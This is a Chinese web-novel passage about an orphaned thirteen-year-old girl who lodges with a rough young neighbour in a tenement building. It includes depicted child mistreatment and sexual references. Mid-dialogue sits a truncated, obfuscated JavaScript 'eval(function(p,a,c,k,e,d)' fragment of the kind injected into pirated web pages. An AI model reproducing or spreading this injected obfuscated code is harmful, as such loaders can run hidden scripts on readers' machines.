《白夜恋人》 1. (01)对门女孩 [楔子] 据说人的记忆,到五岁才真正开始。 杨静不以为然。 她时常在半梦半醒间想起那个黄昏,夕阳橙红,照在凉席上,两条光.裸的身子蛆虫一样交叠蠕动。孙丽从齿缝间逸出半是痛苦半是极乐的呻.吟,一抬眼看见她正呆愣愣站在布帘后面,咧开红唇冲她笑了一声。 杨静那时三岁,如今十三岁。孙丽死了,她没落一滴泪,她觉得死了很好。 · 01对门女孩 旦城进入四月,阴雨绵绵。雨中的筒子楼像条长了皮癣的灰狗,伏在蒙蒙的雾中。 杨启程在摊子上买了三根油条,边吃边走进灰狗的嘴里。 他打了通宵的牌,手气不错,散局时一清点,赢了三百。 刚到四楼,听见走廊里吵吵嚷嚷。 “……哎哟你这个小姑娘怎么不讲道理?你们在我房子里死了人我都没找你赔偿呢!我家里也上有老下有小,七八张口等着房租吃饭……我也不是不近人情,这样,我给你三天时间,赶紧找亲戚把你接走……”房东说完,扭着肥硕的屁股走了,路过杨启程时,鼻子里哼出一声。 杨启程嚼着油条,抬头望去。 昏暗里站着一个瘦瘦弱弱的小姑娘,耷拉着肩,看不清表情。 杨启程认识她,自家对门那暗娼的女儿。 杨启程吹了声口哨,“谁死了?” 小姑娘掀了掀眼皮,“关你屁事。”进屋,“砰”一下甩上门。 杨启程笑了,“嗬,脾气还挺大。” 三天后,杨启程回来,再次看到了这小姑娘。对门紧闭,她蹲在一堆破烂中间,深埋着头。 杨启程一边吹着歌,一边掏钥匙开门。 “喂。” 杨启程停了一下,又接着吹。 “喂!” 真不是错觉,杨启程回头,对上一双瞪得老大的眼睛。 “干吗?” 小姑娘站起来,“我能不能在你家里住两天,我爷爷过两天就来接我。” 杨启程:“不能。” 小姑娘眨了下眼,肩膀又耷拉下去,“……我妈死了。” 杨启程惊讶,“死这么快?” 话一出口,觉得似乎有些不敬,毕竟死者为大,又改口说:“我的意思是,怎么这么突然?” 小姑娘不答,只问他:“行吗,就两天,我爷爷来了我就走。” 杨启程上下打量她一眼,鼻子里笑了一声,“关我屁事!” 杨启程一觉睡到傍晚,开门出去吃晚饭,小姑娘蹲在门口。 他在外面跟缸子吃了几斤麻小,酒饱饭足,回到筒子楼,小姑娘还蹲在门口。 睡了半宿,迷迷瞪瞪起床放水,一打开门,黑暗里猛地窜起来一道影子,杨启程吓得一咯噔,定睛一看,“我.操,你还在?” “我没地方去。”大约是一整天滴米未进,她声音听起来有点哑。 杨启程去走廊尽头公共厕所放完水回来,小姑娘已将那堆看不清面目的破烂堆做一团,自己歪着身子靠在上面。 杨启程驻足,盯着那灰扑扑的一团看了片刻,黑着脸吼道:“赶紧进来!” 进屋之后,杨启程从编织袋里翻出凉席和被子,往水泥地上一扔,不再管她,倒头就睡。 醒来一股食物的香味,杨启程抽了抽鼻子,睁开眼,却见小姑娘正往桌子上摆放豆浆油条。 杨启程挠了挠头,这才想起来昨晚的事儿,一时悔不当初。 他洗了把脸,坐下拿了根油条,“你叫什么名?” “杨静。” “居然还跟我一个姓。” 杨静看他,“那你叫什么?” “杨启程。” 杨静将嘴里的食物咽下去,觑着他的表情,“……杨叔叔。” “老子才二十三岁!” 杨静飞快改口:“启程哥……” 杨启程一个哆嗦。 杨静接着试探:“程哥?” 杨启程终于没意见了。 杨静:“程哥,谢谢你暂时收留我。” 杨启程看她一眼,“确定你爷爷过两天会来接你?” 杨静顿了一下,点头,“嗯,肯定会来的。” 过了一会儿,杨启程瞅了瞅手里的豆浆,意识到什么:“你钱哪儿来的?” “我自己的零花钱。” “那你昨天吃饭了吗?” “吃了啊。” “……” 吃完饭,杨启程从衣服堆里找出件能穿的套上准备出门:“出去记得带上门。” 杨静:“带上门了我就进不来了啊。” 杨启程瞪她:“那就好好在屋里呆着!” 杨启程走后,杨静扔掉垃圾,环视屋内。逼仄潮湿,没有夕照,没有刺鼻的香水和隔夜饭菜的馊味,只有男人随地散落的裤衩背心,以及一股子似有若无的汗臭。 她挽起衣袖,开始干活。 晚上杨启程回来,发现门没关,朝里看了一眼,又立即退出去,瞅了瞅门框顶上的门牌号。 409,没错啊。 走廊一阵脚步声,杨启程回头,杨静手里拿着块抹布,衣襟上全是水。 杨静冲他一笑,“程哥,你回来啦?” 杨启程看了看杨静,又看了看屋里。 里面一股洗衣粉的味道,水泥地上水渍未干。随处乱扔的衣服不见了,床单被套也换了新,巴掌大的空间收拾得整整齐齐。就连那张油腻脏污的桌子,也露出了它本来的面貌。 杨启程黑着脸:“谁他妈让你打扫的?” 杨静一缩脖子,“我……我反正没事干。” “没事干就老实呆着!” 杨静赶紧跟在杨启程身后解释,“我没动你的东西,只扫了……” “床单哪儿来的?” “我家里的,才洗干净的。” “谁他妈知道干不干净,上面有病没病。” 杨静怔住。 杨启程也跟着怔了一下,自知失言,烦躁得从裤袋里掏出一支烟叼进嘴里,“行了行了,以后没我吩咐,家里一分一毫你都别动。” 杨静默默点了点头。 杨启程抽着烟,在屋里转了一圈,“……衣服呢?” “洗了。” “都洗了?” “……” “操,那老子洗完澡穿什么?” 杨静呆了呆。 杨启程又骂了一句,往颈上搭了条毛巾,去走廊的公共澡堂冲凉。洗完出来,他身上只穿了条内裤。恰好有个大婶儿开门出来,一惊,大骂:“流氓!” 杨启程白她一眼,“得了吧,让我对您耍流氓我还得算算这趟亏不亏。” 大婶臭骂两句,摔上门走了。 杨启程回到自己房子,杨静正低头数钱。她听见动静,一惊,赶紧一把塞回衣服口袋。 杨启程瞥她,哼了一声,“没人稀罕。” 杨静没吭声,又缓缓地把那把钱掏出来,一张张展平。 杨启程没衣服穿,不能出门,翘腿往床上一坐,打开电视,掏出两张纸币,指使杨静,“去给我买盒盒饭。”想了想,又加一张,“两盒,钥匙在桌上。” 杨静立即从椅上跳起来,接过钱忙不迭地出门了。 杨启程望着她的背影,嘟囔:“该不会拿着钱跑路了吧?” 十多分钟后,杨静回来了,一抹额头上的汗,将盒饭放在桌上,喊道:“程哥。” 杨启程“嗯”了一声,丢下遥控器过去。 桌上不止两盒盒饭,还有瓶冰镇啤酒。 杨启程:“倒是精乖。” 杨静忍不住咧嘴一笑。 还没笑完,杨启程说:“让你乱花我钱了吗?” 杨静一呆,忙说:“……我用自己零花钱给你买的。” 杨启程掰开方便筷,“你有几个零花钱?” 杨静不吭声了。 杨启程飞快拨完饭,往钢丝床上一躺,“我睡个觉,你要是发出一点儿声音,马上滚出去。” 杨静紧抿着两片唇,小鸡啄米似的直点头。 杨启程睡到临近午夜的时候,从床上一跃而起。 杨静正趴在桌上睡觉,一个激灵,揉了揉眼,忙道:“对不起,我不是故意……” “去看看衣服干了没。” 杨静这才想起来自己还没收衣服,一溜烟地跑去晒台,又一溜烟地跑回来,“还没干。” “……”杨启程简直服气,“没干也给老子收一件!” 杨启程套上件还有些潮湿的黑T恤,嘱咐杨静:“门关好。” “你这么晚出去干什么?” “赚钱。” 杨静愣了愣。 杨启程瞅见她的表情,鼻子里一哼,“晚上的工作不止你妈干的那营生。” 杨静似被刺了一下,身体一颤。 杨启程懒得理她,穿好鞋,飞快走了。 杨静垂着头坐回桌边,这才发现杨启程出门没带钥匙。 她将凉席棉絮铺在水泥地上,闭眼躺下。刚睡了一觉,这会儿一点儿也不困。 脚步声,婴孩尖细的啼哭声,远处建筑工地彻夜施工机械的轰隆声…… 一切和以前夜半醒来时听见的一样,却又似乎有些不一样了。 她不知道怎么睡过去的,睡得异常安稳,没有做那个梦。 不知睡了多久。 “杨静!给老子开门!” 杨静霍地从地上坐起来,敲门声震天动地,天花板簌簌往下落灰。她赶紧爬起来,鞋都没来得及穿,飞快跑过去打开门。 杨启程一脚踹进来,“我.操.你妈!” 杨静躲避不及,这一脚恰好揣在了她肚子上,钻心似的疼。她闷哼一声,倒退数步,捂住肚子,额头上霎时起了一层冷汗。 杨启程面色沉冷:“你他妈耳朵聋了是不是,喊你半天不来开门。” 杨静往后缩了缩,“……对不起。” 她看出来,杨启程这次是真生气了。 杨启程没理她,脱下身上衣服,往床板上一躺。 杨静站立片刻,也不敢惹他了,拿起钥匙,轻手轻脚地出了门。门合上的时候,杨启程眼皮微微一动,然而并未睁开。 走廊里传来各式各样的声音,有人扯着嗓子叫学生起床,有人大清早吵架,有人架起了铁锅,一阵乒乒乓乓…… 杨静捂住肚子,缓缓走去公共厕所。 厕所就一条长的便池,拿砖墙隔作数间,定点冲水。杨静一进去就看见一个女人蹲在第一个坑位上,一边使劲一边哼哼。 里面味儿很难闻,杨静捂住鼻子,赶紧出去,进了对面的公共浴室。 她锁上门,掀开身上的衣服,低头看了看,肚子上一小片淡淡的青色。她咬牙按了按,里面并不疼。 她接凉水洗了把脸,走出筒子楼。 东边一轮红日喷薄而出,巷子里叫卖声此起彼伏。她到包子铺卖了两个大肉包子,站在路边吃完了,走去小卖部。 老板端着一碗粉丝,一边呼哧呼哧地吸溜,一边仰头看早间新闻,“靠,一群缩卵!有本事给这龟儿子一梭子!” 杨静站在小卖部门口,脚尖无意识地蹭着地面,“赵老板,我打个电话。” 赵老板没反应。 杨静又提高声音喊了一遍。 赵老板这才缓缓地将目光移过来,“自己打啊,还要我帮你?” 杨静一个箭步走进去,拿起电话机的听筒,拨了一串号码。 响了数声,无人应答。 杨静不甘心,又拨一遍,还是无人应答。 她耷拉着脑袋走出去,站在小卖部的雨棚底下。 太阳初升,地上一道影子,稀薄瘦长。 杨静盯着自己的影子看了很久很久,又转身回去,“赵老板,拿一包‘红梅’。” 赵老板瞥她一眼,从身后的架子上拿下来一包烟,往玻璃柜台上一扔。 杨静从口袋里摸出一叠零票,数出四块钱的,递给赵老板。 买完烟,杨静回到409室,杨启程还没醒。 她去晒台上将衣服都收回来,分门别类叠好,又将地铺收起来,坐在桌边,再也无事可做,只竖起耳朵听着外面的动静。 然而直到中午,仍然没人敲对面的门。 杨启程打了个呵欠,醒了。 杨静赶紧站起来,“程哥,你饿了么?我去买盒饭。” 杨启程看她一眼,“你怎么还在这儿?” 杨静张了张口,没出声。 “你爷爷什么时候来?” “……我,我不知道,应该要来了吧。” 杨启程冷哼一声,“你不是说了肯定会来?” 杨静瘦弱的肩膀颤了一下。 “我没空管你,你赶紧走吧。”杨启程摸了摸裤子口袋,掏出最后一支烟,将烟盒捏瘪,随手一扔。 杨静咬着唇,“我没有地方去。” 杨启程点燃烟,吸了一口,“怎么,听你意思,打算赖我这儿了?” 杨静眼眶红了,“……不是,我真的没地方去。” “你妈是谁送去火化的?” “一……一个朋友。” “那你去找她这个朋友。” “我不能找他……”杨静声音里已带哭腔。 杨启程瞥她一眼,心下明了,这位“朋友”大约就是某一位客人。 他耐着性子,尝试跟她讲道理:“你跟我这哭没用,我跟你非亲非故,你住我家里,我也不方便。” 杨静抬起头,眼里已满是泪水,“你给我一个睡的地方就行了,我能帮你干活,不会花你钱的……” 杨启程第一次注意到,这小姑娘眼睛还挺大,“这事没商量。你还在读书吧?找你们老师,老师不行找校长,总有人帮你解决。” 杨静不吭声了,埋下头,手捂着嘴,呜呜地哭。 小女孩哭声尖而细,杨启程听得心里火气直冒,“你是不是听不懂人话?是不是要我像房东一样把你赶出去?” 杨静肩膀又抖了一下,猛哭了几声,走到角落里,拾起那几袋“破烂”。 她拖着硕大的袋子,缓缓走到门口,回头期期艾艾地望了杨启程一眼。 杨启程没有开口,静坐着抽烟。 她只好打开门,拖着袋子慢慢地出去了。 门阖上,外面陡然爆发出一阵激烈的哭声。 杨启程面无表情地做那儿抽烟,抽得很慢,等一支抽完,门外的哭声也停了。 一切回归于平静,像是什么也没有发生过。 杨启程枯坐在床上,心里一阵烦躁。 中午的日光从小气窗里漏进来,照在那张斑驳的红漆木桌上,桌上躺着一包没开封的软黄盒子的“红梅”。 过了半晌,杨启程从裤子口袋里摸出手机,给缸子打电话。 还没拨完号,响起震天动地的拍门声,“程哥!程哥你赶紧跑!好像有人要找你麻烦 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有人问:“不在?” 四人商量一阵,正打算走,忽有人说,“确定是在409?” 杨静心脏一紧,手也跟着攥紧了。 杨启程低头看了一眼,她五指细细白白,和他古铜色的皮肤对比分明。 “……应该是吧,我记得是409啊。” “操,把附近这几家都敲一遍!” 杨静赶紧远离门板,“里面有个衣柜,你躲起来,我来开门。” 杨启程站着没动。 杨静急了,使劲把他往里推,然而只来得及将他推到帘子后面,敲门声已经响起。 杨静回头叮嘱他:“你别出声!” 杨启程有些想笑,用力憋住了,点了点头,想看她会玩出什么花样。 杨静深吸一口气,不紧不慢地打开了门,仰头瞅了一眼,皱眉道:“我妈不在,你们改天再来。” 四人大笑,“你妈去哪儿了?” “火葬场。” “去火葬场干什么?” “投胎。” 四人面面相觑。 有一人探头往里看了一眼,“里面都搬空了。” 为首的“粗噶男声”低头看着杨静,“你要搬家?” “死了人的房子,晚上闹鬼,当然要搬。” 屋里暗沉沉的,没半点人气,“粗噶男声”一挥手,“走吧,去看看408.” 杨静面无表情地将门合上,又趴着门框听了一阵,确定人都走了,长长地舒了口气,走到帘子后面,“程哥,他们走了。” 杨启程再也憋不住,猛笑一阵,“我说,你今年几岁?” 杨静不明所以,“十三。” 杨启程又笑起来。他想,这小姑娘有些早熟,他十三岁的时候还在上树掏蛋下河摸鱼,杨静可比他有本事多了。 午后的日光照进来,空气里金色尘埃漂浮。 杨静站立片刻,走到床对面的水泥墙跟前。 墙上拿粉笔划了一道道杠,她将后背靠上去,手掌紧贴自己头顶,仰头看了一眼,仍然只齐最高的那道。 杨启程没说话,提眼看她。 杨静比完之后,捡起垫椅子腿的小半块红砖,将墙上的杠几下涂掉了。 她扔了砖,拍拍手,“走吧。” 十三岁的小姑娘,还没开始发育,套着件半新不旧的T恤,像颗豆芽菜。一把稀疏的马尾,发色枯黄。 杨静往外走,杨启程站着没动。 杨静走了两步,停下来,回头看他,困惑问道:“程哥?” 杨启程抓了抓头发,突然十分想抽烟,不知怎的就想到了自己桌子上的那包“红梅”。 他嘴里骂了一句,掏了掏裤子口袋,摸出一枚硬币,丢向杨静。 杨静伸出双手接住,疑惑看他。 “两分钟,给我下去买个打火机。” 杨静一愣。 “把你那堆破烂也提回来。” 杨静呆立。 “一分五十秒!” 杨静张大了嘴,一时情绪激动手足无措,然而最终什么都没说出口,拔腿儿一溜烟跑了。 杨静很快拖着她的一堆东西重回到四楼,杨启程正把410的钢丝床往外搬。 杨静:“这是我家的床。” “我知道。” “房东不会说吗?” “管她个蛋。” 杨静静了片刻,小声说:“我不想睡这张床。” 杨启程动作一停,回头看她,“那我睡这张。” 杨静紧抿着嘴不做声。 杨启程烦了,“老子没钱买新的。” “我打地铺。” 杨启程:“……屁事儿多。” 杨静最终没打几天地铺,杨启程不知道从哪里弄来一个二手的单人床垫,挨墙往地上一放,铺上棉絮和被单,比钢丝床还舒服。 十来平米的房间拉了道布帘,杨静睡里面,杨启程睡外面。 安置妥当以后,杨启程跟杨静约法三章。 “我丑话说在前,你住我这儿是借宿,我只相当于你二房东。我自己都养不活,别指望我管你死活。” 杨静起身跑到那堆“破烂”跟前,手伸进去掏了许久,掏出一个布包,“程哥,我不会白住你的,我付你房租。” 杨启程瞥她一眼,接过那布包,掂了掂,有点儿沉,“哪儿来的?” 杨静微微撇下眼,小声说:“我妈留下的。” 杨启程鼻子里哼出一声,“不肯睡你妈工作的床,却肯用你妈工作的钱,矫情不矫情?” 杨静抿着嘴角,没说话。 杨启程将布包赛回她手里,“钱你自己留着,好好读书——你几天没去学校了?” “我妈死了。” “你妈死了你就不去学校了?” 杨静垂着眼,“我不想读书了。” “那你想干吗?” “打工。” “……”杨启程无语,“打屁的工,好好读书。” “不想读。” 杨启程瞪她:“不想读就滚出去。” 杨静:“哦。” 杨启程接着说:“我没空管你,上学自己在食堂吃饭。” “不上学的时候呢?” 杨启程瞪她:“自己想办法!” “哦。” “晚上八点之前必须回来,去哪儿玩先给我招呼。” 杨静抬眼瞥他,“你管得真多。” 杨启程挑眉,“再说一遍?” “好的程哥!” 事儿都说完以后,杨启程点了支烟,“去买两盒盒饭。” 杨静哒哒哒地出门了。 杨启程靠着气窗,沉默地抽烟。 他记得杨静的母亲。 她总是浓妆艳抹,穿衣俗丽,时常喝得醉醺醺回来,掏钥匙开门时,嘴里迸出一连串的咒骂。 但她清醒的时候,人并不坏。有时候煮多了饺子,端回房间,碰见杨启程开门,还会笑着问他要不要吃。 杨启程当然没要。 眨眼之间,人就再也没了。有时候人命就是这样脆弱的东西,蝉翼一样,一碰就碎。 他其实一直并不惜命,只是看见如今杨静挣扎求生,心里有些说不出来的滋味。 2. (02)赚 杨静就这样开始了和杨启程同住的日子,也恢复了上学。 两人白天各忙各的,晚上也各忙各的,一周下来,竟然相安无事。 杨启程当然不是一个好室友,脾气臭,炮仗一样,一点就着;还特别懒,总爱指使她干这干那。 杨静从小开始做事,家务一把抓,并不觉得有什么不好。 关键是,杨启程看她的眼神很平静。 没有嘲弄,没有讥讽,也没有怨恨。 杨静于是也很平静。 杨静通常早上六点半准时起床,洗漱之后先下楼买两份早餐,不管杨启程起不起床,六点四十五定时吃早餐,七点出门,七点半到学校,八点开始朝读。 初一的教室在教学楼的三楼,杨静坐在最里面倒数第三排靠窗的位置。 这个位置风景很好,适合发呆。 杨静手里的书摊开在《木兰诗》那一页,半天没动。 有人踢了踢她的凳子。 杨静一顿,没有回头。 然而身后的女生上半身伏在桌上,探向前来,“喂。” 杨静没理。 “喂!聋了?!” 杨静转头,“干什么?” 女生压低了声音:“听说你妈死了?” 杨静目光往上,定在她脸上。一张秀气的脸,偷偷画了睫毛膏,因为好奇,瞳孔微张。 杨静启唇,平淡吐词:“你要哭丧吗?” 秀气的脸立时皱成一团。 杨静不再看她,转回去,将凳子往前一挪,继续背书。 下午最后一节课,历史老师前脚刚走出教室,班主任厉昀后脚踏进来,“先坐好,有件事要宣布。” 杨静正在收拾书包,停下来,抬头看向讲台。 厉昀拈起一只粉笔,转身在黑板上写了几行字,“下周三期中考试,大家好好复习。” 一片哀嚎。 校门出去,会经过一条街道,两旁小店鳞次栉比,卖些文具、零食和小饰品。 杨静目不斜视,飞快往家里赶。 经过一家奶茶店,忽听见里面有人叫她。 杨静目光一顿,只当没听见,脚步不停。 然而没走出两步,里面涌出来三个女生,为首的就是坐在她后面的刘伊雪。三个人迅速围上来,截住杨静的去路。 刘伊雪手里端着一杯珍珠奶茶,“你耳朵是不是有问题,每次喊你你都听不见。” 杨静抓紧了书包带子,“什么事?” “前几天陈骏是不是找过你?” “嗯。” “跟你说什么了?” 杨静看她,“关你什么事?” 刘伊雪拧紧了眉,“杨静,你不要不识抬举。” 十二三岁的小姑娘,学电视剧里的语气,学得惟妙惟肖。 杨静不想跟她扯,“让开。” 三人没让,将她围得更紧。 杨静不耐烦,伸手去拨,手臂陡然被一只肉呼呼的手掌抓住。 “小雪,给她一点教训!” 杨静还没来得及反应,另一手臂也被紧紧一箍。 奶茶“啪”一下掉在地上,掌风迎面而来。 · 杨启程回家之后,先去冲了个凉,换下一身烟味的脏衣服。 杨静正坐在桌边,埋头写作业,“我马上下去买饭。” 杨启程甩了甩湿漉漉的头发,“我出去吃。” 杨静“哦”了一声。 杨启程坐到她对面,掏出一支烟点燃,吸了一口,瞥一眼杨静,一顿,“你脸怎么了?” 杨静立即拿手掌盖住,“没什么。” 杨启程将她手抓开,看了一眼,皱眉——两边脸都肿了,几道红色的指痕。 “谁打的?” 杨静挣开他的手,“同学。” “你就让她打?” 杨静撇下眼。 杨启程看她这幅低眉顺眼的模样莫名就来气,这人精乖得很,十分会看人脸色,偶尔脾气还不小,然而不知怎的,一遇上大事儿就唯唯诺诺。 想了想,毕竟也才十三岁,能要求一个十三岁的姑娘有多大本事。 “下回谁打你,你就打回去,没把自己命折进去就是稳赚。” 杨静没吭声。 杨启程抬高声音,“听见了吗?” “嗯。” 杨启程坐了一会儿,头发干得差不多,便将烟掐了,问她:“你作业还有多少?” “没多少了。” “回来再写,跟我出去吃饭。” 杨静一怔。 “傻了?赶紧去换鞋!” 夕阳还剩半个,橙红温暖的光芒像给周遭糊了一层半流状的腻子,晚风里有股花香和尘埃的气息。 杨静跟在杨启程身后,走街串巷,沿着护城河走出十来分钟,到了一家餐馆。 杨启程掀开竹帘,“订了位,姓曹。” “二楼,上楼梯直走,右拐,18号桌。” 18号桌上坐着一个胖子,朝着杨启程挥了挥手,一笑俩眼睛就没了,“老杨,这儿!” 胖子就是缸子,大名曹钢。 杨启程领着杨静坐下,缸子笑眯眯看着杨静,“你就是老杨新认的妹妹?” 杨启程:“妹你大爷。” “不都姓杨嘛,多大的缘分,你说是吧,妹妹?” 杨静不知道怎么回答,只好低头喝茶。 缸子又问:“你几岁了?” “十三岁。” 缸子瞅着杨启程,似笑非笑,“这年纪有点儿小啊。” 杨启程沉着脸,“你有完没完?” 缸子嘿嘿一笑,“开玩笑开玩笑!” 他喊来服务员点菜,专门为杨静点了一客冰淇淋船。 等着上菜的时候,缸子开始和杨启程聊正事。 “上回你帮炳哥看了天夜场?” 杨启程点了支烟,“嗯。” “我听说了,一打七,分毫未伤,能耐啊兄弟,可惜小爷当时没在场。” “来的全是脓包。” “那也是一打七啊,炳哥正在找人打听你。” 杨启程皱眉,“打听我干嘛?” “还能干嘛,让你以后帮忙看夜场呗。” “我干不了,老丁那天有事,我临时替他。” “夜场钱多。” “钱多有屁用,”杨启程吐出一口烟,“命都没了,带底下去花?” 缸子笑道,“左右你有道理,我也是皇帝不急太监急。反正你一屁股债,虱子多了不愁痒。” 菜端上来,缸子往杨静碗里夹了条鱼,“这道菜叫香酥小白龙,龙头鱼,美容养颜的。” 杨静忙不迭说谢谢。 缸子又问她:“妹子,你哪儿的人?” “旦城人。” “还在读书?” “读初一。” “成绩怎么样?” 杨静尴尬一笑,拿筷子把鸡蛋里的秋葵一点一点挑出来。 杨启程说:“你他妈兼职干起查户口了?” 缸子嘿嘿笑,“我这不是好奇嘛,就你这鬼见愁的个性,居然会做好事,我就想看看妹子有什么本事。” 杨启程喝了口啤酒,看向杨静,“你有什么本事?” 杨静不知道杨启程是开玩笑还是认真的,瞥他一眼,小声说:“我会做家务。” 杨启程鼻子里哼一声。 杨静又赶忙说:“我还会做饭,我做饭可好吃了。” 缸子笑问:“你这么小就会做饭了?” 杨静垂下目光,“嗯,以前我妈忙。” 缸子听杨启程粗略说过杨静她妈的事儿,轻咳一声,招呼:“赶紧吃赶紧吃!多吃点儿菜!” 杨启程看杨静一眼,“你把秋葵挑出来给谁吃?” 杨静:“……我不爱吃这个,滑腻腻的,恶心。” “不准挑食。” 杨静苦着脸。 “哥像你这么大的时候都一米六了,你上车只用买儿童票吧?” 杨静小声说:“一米四了。” 杨启程往她碗里每样菜夹了一点,又夹了两条龙头鱼,将碗盖得满满当当,“不吃完不准回去。” 杨静嘟囔两句,埋头开吃。 吃完,缸子让服务员清理桌子,上一壶普洱茶。 杨启程给缸子找烟,一摸口袋,抽完了,拿出两张纸币递给杨静,“去买包黄鹤楼。” 缸子望着杨静背影消失在楼梯口,收回目光,笑说:“这小姑娘怪有意思的。” “被她妈打怕了,一吓唬就怂。” 缸子瞅他,“那你还吓唬她?” “……吃老子的住老子的,使唤她两下还不行了?” 缸子笑了笑,微敛了神色,“说句实话,我觉得你这么收留她不合适。小姑娘虽说还小,毕竟已经十三岁,经事了。你跟她非亲非故,住一个屋檐底下,不是坏她名声吗?” “老子坏她名声?她名声要是不好,也不是老子搞坏的……” 话音未落,楼梯口“咚”的一声。 杨启程和缸子立即回头看去。 却是杨静,捂着不小心撞上楼梯间隔板的脑袋,很淡地笑了笑,“我……我忘了问,程哥,要哪样的黄鹤楼?” “紫软的。” 身影复又消失。 缸子问:“听见了?” 杨启程喝了口茶,“听见就听见,又没说错。” “你积点口德吧,小姑娘也怪可怜的。” 杨启程低哼一声,“可怜你领回去?” “那可不行!缸爷我夜夜笙歌,带坏她了我可负不起责。” 杨启程:“呸。” 过了一会儿,缸子又说,“你别说,她长得还挺好看的。” “您可真有本事,毛都没张齐,瘦猴儿一样,这都能看出好看不好看?” “爷我阅人无数,什么时候错过眼?你注意她那眼睛那鼻子,活脱脱美人胚子。” 杨启程一时没说话,想了想杨静母亲的那张脸。平心而论,她虽然气质艳俗,皮相确实还不错。 然而一个女人要是命不好,再摊上一张过于漂亮的皮囊,未见得会是一件好事。 杨静买烟回来,杨启程和缸子各抽完一支,准备散场回家。 缸子将买单的小票翻过来,刷刷写了一串号码,递给杨静,笑说:“妹子,我也是你哥,以后有什么事儿尽管开口,我罩你!” “罩个屁,自己都他妈朝不保夕。” “杨启程我日你大爷,能不能不拆老子台!” 回去路上,天已经全黑了。路边店里的灯逶迤一线,照亮前路。 杨启程手里夹着烟,火星忽明忽灭。 他似乎有心事,半天没抽上一口。 杨静跟在他后面,前方吹来的风将烟味送进她鼻腔,浓烈,但似乎并没有她印象中的那样讨厌。 快走到巷子口时,杨启程陡然停下脚步,杨静也赶紧刹住。 “你爷爷住哪儿?” 杨静明白他要说什么了,“我不知道,我只有他电话。” “多少?我给他打一个。” 杨静沉默了几秒,“他不会来的。” 静了一会儿,杨启程又问:“你爸呢?” “在我两岁的时候就死了。” “你家里没别的人了?” “有个伯伯。” “在哪儿?” “三平山。” “……” 三平山是旦城最大的监狱。 杨启程看着她,“杨静,缸子说得对,你跟我住一起不太合适。” 杨静低垂着头,没说话,脚尖轻轻蹭着地面。 “我不是什么好人。” “你挺好的。” 杨启程不置可否,“你们学校能住宿吧?明天你去打听打听。” 杨静抬头瞥他一眼,撒谎道:“学期中间不给办住宿。” 她见杨启程似在犹豫,立即上前一步,“马上就放暑假了,学校也是不能住的。下周要期中考试,我换新地方会睡不好的……起码让我住到下学期开学,行么?” “……”许久,杨启程丢了烟头,抬脚踩灭,转身往巷子里走,“你这人真他妈有点儿事儿多。” 杨静咧嘴笑了笑,脚步轻快地跟上去。 · 杨静成绩不好,也没怎么努力去学过,一直在中游游荡。期中考试象征性地复习了一下,就上考场了。 逢上大考,一般都要按照上次的年级排名排座次。杨静在第七考场,第三排中间靠后的位置。 她去得很早,翻开课本默记古诗词。 “杨静。” 杨静抬头,看向窗外,是陈骏。 陈骏冲她招了招手,走进考场,在她前面的空位上坐下。 “你在这个考场?” 陈骏摇头,“不是,刚好看到你了。” “哦。” 确实,以陈骏的成绩,不太可能混到第七考场这样的地步。 陈骏看她:“你这段时间还好吗?” 两人上次说话,还是孙丽去世之前。 “还好。” “你现在还住在扁担巷么?” “嗯。” “没搬家?” “搬了。” “搬去跟谁住了?” “我哥。” 陈骏顿了一下,“你有哥哥?” “堂哥。” “你大伯的儿子?” 杨静没说话,陈骏就认为是了,“那就好,我还蛮担心的。” 杨静“嗯”了一声。 安静了一会儿,陈骏往她手里看了一眼,“复习好了么?” “还好。” 男孩干净修长的手抽走她手里的语文书,“那我考你一下,‘东市买骏马’,下一句是什么?” “陈骏,”杨静抬眼,“我自己背吧。” 陈骏挠了挠头,有些尴尬地将书还给她,站起身,“那我回考场了,考试加油。” 周四考完,周五下午出试卷,公布分数和排名。周五老师要改卷,很多门课都改成了自习,班主任厉昀偶尔过来视察,因此教室里始终闹哄哄的。有别班大胆的学生,偷偷窜过来,和本班学生在后排围成一圈,拿MP3功放音乐。 杨静坐着看了一会儿书,忽听见有人喊她,抬头一看,陈骏站在门口。 杨静不明所以,放下书走过去。 陈骏笑说:“祝老师让我喊两个学生去办公室帮忙总分,你去不去?”祝老师是数学老师,恰好同时教杨静和陈骏所在的两个班。 杨静摇头。 “去看看嘛,可以提前知道分数。” 杨静依然摇头,“我没考好,不想去。“ 陈骏无奈,“那好吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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上面走下来一个别班的老师,见杨静披头散发,愣了一下,“你是哪个班的?” 杨静没答,将书包带子拉紧,低头“咚咚咚”跑了。 天边还余一轮血红的残阳,杨静迎着落日方向,缓缓往前走。 走到校外街,却见前方刘伊雪正在跟她那几个伙伴道别。杨静立即往旁边的店里一闪,等她再出来时,那几个人已经散了,刘伊雪往右拐了个弯。 杨静想也没想,飞快跟上前去。 夕阳越沉越低,天色越来越暗。 杨静不紧不慢跟在刘伊雪身后,穿过一个繁华街区,步行十分钟,进入一条狭窄的马路,道路幽静昏暗,两旁皆是高大的樟木。 杨静跟到一个小区门口,看着刘伊雪进了一栋楼房,返身走了。 · 回到扁担巷的筒子楼里,已是晚上七点。所幸杨启程还没回来,不然免不了又要挨一顿骂。 杨静将自己拾掇干净,在屋里坐了一会儿,翻出之前缸子留给他的纸条,下去杂货铺。 她在货架上拿了一袋方便面,付完帐,望着公用电话机。 犹豫了很久,纸条被手心里汗濡得潮湿。 赵老板瞥她一眼,“干啥啊?” 杨静吓了一跳,急忙说:“我打电话。” 刚刚考试完,没有作业,杨静回到409,吃完方便面,看了一会电视,听见敲门声。 杨启程身上一股汗味和酒味,先去浴室冲了个凉,回来时见桌上放着一张纸,拿起看了看,“……你他妈数学才考63分?” 杨静小声说:“及格了。” “了不起啊杨静,比老子当年还潇洒。” 杨静憋不住笑了一声,搁下遥控器坐过来,“程哥,老师让签字。” “签个屁——”一顿,“你又被人打了?” 杨静撇下目光。 杨启程点了支烟,“打你的是男的女的?要不要我帮忙?” “女的。” “哦,那我就不管了,我不打女人。” “不用,”杨静说,“这回我没吃亏。” 杨启程看她一眼,没再说什么。 过了一会儿,杨静说:“程哥,下周要排练文化节节目,我可能要到晚上十点才能回家。” “什么节目?” “话剧。” “你还演话剧?演什么?小萝卜头?喜儿?” 杨静没理他的揶揄,只问:“行么?” “十点太晚了,不安全。” 